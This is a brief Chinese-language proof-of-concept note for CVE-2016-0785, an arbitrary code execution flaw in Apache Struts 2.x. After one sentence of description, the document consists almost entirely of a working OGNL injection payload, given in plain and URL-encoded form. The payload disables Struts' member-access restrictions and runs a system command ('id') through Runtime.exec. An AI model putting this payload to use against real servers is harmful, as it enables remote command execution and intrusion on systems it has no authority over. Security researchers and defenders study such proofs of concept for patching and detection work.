Apache Struts 2.x 任意代码执行 (CVE-2016-0785)

Apache Struts 2.x 允许远程攻击者通过标签属性中的“%{}”序列执行任意代码

POC

(#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))

进行url编码

(%23_memberAccess%5B'allowPrivateAccess'%5D%3Dtrue%2C%23_memberAccess%5B'allowProtectedAccess'%5D%3Dtrue%2C%23_memberAccess%5B'excludedPackageNamePatterns'%5D%3D%23_memberAccess%5B'acceptProperties'%5D%2C%23_memberAccess%5B'excludedClasses'%5D%3D%23_memberAccess%5B'acceptProperties'%5D%2C%23_memberAccess%5B'allowPackageProtectedAccess'%5D%3Dtrue%2C%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()))